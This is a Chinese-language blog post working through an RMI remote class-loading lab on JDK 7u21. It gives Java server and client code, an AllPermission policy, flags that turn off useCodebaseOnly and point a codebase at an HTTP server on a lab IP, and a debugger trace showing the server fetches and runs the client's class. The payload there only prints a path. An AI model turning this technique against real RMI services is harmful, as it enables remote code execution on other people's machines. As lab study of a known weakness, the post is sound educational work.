查漏补缺之_RMI恶意类加载实践

查漏补缺之_RMI恶意类加载实践

前言

RMI在低版本的时候存在恶意类加载,本次实践基于jdk7u21.之前看的时候也没有特别细致的调过,在学RMI的时候没有那么仔细,有些东西没有注意到,也感谢@木头师傅的提醒

文件部署

这里记录一下p师傅写的java安全漫谈rmi篇(2)中所踩的一些坑。

这里我没有使用p师傅文章的类,还是用的之前在学rmi的时候的一些类。也是4个文件
RMIServer.java
这里我们新建一个项目,里面编写这个server类
这里我们需要配置一下SecurityManager,server、client都是需要配置的,不然无法去使用URLClassLoader去加载远程的类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package MyRMI;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws Exception {
if(System.getSecurityManager()==null){
System.setSecurityManager(new SecurityManager());
}
// System.setProperty("java.rmi.server.hostname", "192.168.123.51");
RemoteClass bindClass = new RemoteClass();

Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("bind", bindClass);

}
}

接着增加下面两个文件HelloImp.java

1
2
3
4
5
6
7
8
package MyRMI;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface HelloImp extends Remote {
public Object SayHi(Object name) throws RemoteException;
}

RemoteClass.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package MyRMI;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteClass extends UnicastRemoteObject implements HelloImp {
protected RemoteClass() throws RemoteException {
}

public Object SayHi(Object name) throws RemoteException {
System.out.println(name.toString());

return ParseName();
}
public static Object ParseName(){

return null;
}
}

这里我们新建一个项目来放置远程的客户端。
并且我们可以在里面加上一个内部类,然后在静态代码块中加入我们想要执行的命令,这里我们输出一下本地ClassLoader的路径。(方便我们后面分清楚,到底是server触发client触发的
RMIClient.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import MyRMI.HelloImp;

import java.io.Serializable;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {

static class a implements Serializable {
static {
System.out.println(a.class.getClassLoader().getResource("").getPath());
}
}

public static void main(String[] args) throws Exception {
SecurityManager sm = System.getSecurityManager();
if (sm == null) {
sm = new SecurityManager();
System.setSecurityManager(sm);
}
Registry re = LocateRegistry.getRegistry(1099);
for(Object obj : re.list()){
System.out.println(obj);
}
HelloImp h = (HelloImp) re.lookup("bind");
h.SayHi(new a());
// Naming.lookup("rmi://127.0.0.1:1099/bind");
}
}

当然这里还是需要将我们的HelloImp这个接口放好

配置运行参数

那么我们两边配置一下运行的参数。
server这边我们加上如下命令

1
-Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.hostname=192.168.123.51 -Djava.security.policy=client.policy

这里我们可以看到,我关闭了useCodebaseOnly防止server使用内部的codedatabase,并且我们指定了hostname(如果不指定,则会默认为一个172网段的ip,这个是个坑。
然后我们设定了client.policy,这个是个配置文件,控制权限的 。
那么我们还需要给server加上这个配置文件,maven的放当前module目录下就行了。
client.policy

1
2
3
grant {
permission java.security.AllPermission;
};

然后我们看看client这边的配置

1
-Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://192.168.123.51:8000/ -Djava.security.policy=client.policy

这里相同的参数不在赘述了,里面有个codedatabase就是值的,URLClassLoader之后如果找不到你要的类,那么会通过这个url,来发起请求然后Loader字节码。(注意下URL后面要有/
Client.policy和上面的也一样。
那么我们吧这个配置加到idea的配置中就行了,这里给出client端的

复现

首先在我们ClassLoader的路径下来找到内部类的这个class文件
RMIClient$a.class
然后使用php -S 0.0.0.0:8000启动一个http服务。
然后先启动server,在启动client

这里我们可以看到,服务端和客户端两边都成功触发了这个类

分析

那么这里是server请求的还是client请求的呢?
是server直接URLClassLoder加载字节码然后触发还是,client加载完之后传递给server呢?
因为我们只看到了一次请求,所以我们调试一下代码来看看是怎么个情况。这里jdk我使用的是7u21的。

然后进入lookup看看,这里我们单步进入可以发现是无法在Stub中下断点的
无法下断点
所以我们可以从newCall跳出来,便来到的lookup。但是我们先看看newCall在干啥。
这里我们可以看到这里var6是获取一个TCPConnection类,之后var7是使用StreamRemoteCall对其进行一个流的封装,方便之后从流中读取数据,之后var7边被返回了。
返回var7
然后我们这里便来了lookup,那么我们看下他在干啥。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);

try {
ObjectOutput var3 = var2.getOutputStream(); // 这里从SoketConnect这个中写入参数
var3.writeObject(var1); //序列化
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}

super.ref.invoke(var2);

Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject()
....//不重要

往流中写入了bind参数。
这里便是序列化,所以我们可以知道,这里便是使用序列化,将参数传递给registry。然后这里调用了super.ref.invoke(var2);发起了这次请求.这里就不在详细跟了。
然后var6就是返回流,然后这里就有了反序列化,尝试将返回的序列化信息反序列化,然后读取出来。
这里我们主要跟的就是这个readObject,我们看看返回的对象中是如何处理的。这里过程过长,先给一部分的调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
loadProxyInterfaces:730, LoaderHandler (sun.rmi.server)
loadProxyClass:645, LoaderHandler (sun.rmi.server)
loadProxyClass:611, LoaderHandler (sun.rmi.server)
loadProxyClass:646, RMIClassLoader$2 (java.rmi.server)
loadProxyClass:311, RMIClassLoader (java.rmi.server)
resolveProxyClass:263, MarshalInputStream (sun.rmi.server)
readProxyDesc:1556, ObjectInputStream (java.io)
readClassDesc:1512, ObjectInputStream (java.io)
readOrdinaryObject:1769, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
lookup:-1, RegistryImpl_Stub (sun.rmi.registry)
main:22, RMIClient

sun/rmi/server/LoaderHandler.class:389
这里可以看到,通过Class.forName来获取Class。这里面就是封装的URLClassLoader来从远程加载类,但是实际上我们这里并不是这里触发的,for循环都没有请求。
这里其实是给Client访问codedatabase用的,如果我们Client本地没有helloImp便会走到这里来然后触发URLClassLoader,请求远程的codedatabase。

好了我们可以知道这里确实是不会加载,那么答案也就呼之欲出了,是server请求。那么我们调试一下server这边的代码。
server代码确实不好调,这里我将断点设置在了底层sun.rmi.server.UnicastServerRef#dispatch

客户端发送请求的断点我们断在了sun.rmi.transport.StreamRemoteCall#executeCall

这里调完客户端代码可以看到,我们断点顺利的命中了。这里说几个找断点的技巧吧。

  1. bind之类的代码一般段点在sun.rmi.server.UnicastServerRef#oldDispatch然后去调用skel.dispatch
  2. 类似于这种传递序列化参数的我们一般把断点断在sun.rmi.server.UnicastServerRef#dispatch
  3. 如果找不到的话,可以从比较底层的断点入手sun.rmi.transport.Transport#serviceCall
  4. 有些断点访问不到可以尝试使用高版本的jdk,或者是“盲调”:就是虽然进不了代码,但是执行的代码的顺序我们还是可以通过单步进入的方式一个个跟

接着进入正题,我们跟进断点

这里触发readObject,由于调用栈比较深,这里直接放最后的图和调用栈了。
最后我们来到了sun.rmi.server.MarshalInputStream#resolveClass

这里调用了RMIClassLoader.loadClass(var5, var3, var4);。这里RMIClassLoader底层其实就是调用的ClassLoader,有兴趣的师傅可以跟一下。

总结

那么到这里两个问题也就解决了
那么这里是server请求的还是client请求的呢? => server
是server直接URLClassLoder加载字节码然后触发还是,client加载完之后传递给server呢? => server直接URLClassLoder加载字节码

# 推荐文章

评论


:D 一言句子获取中...

加载中,最新评论有1分钟延迟...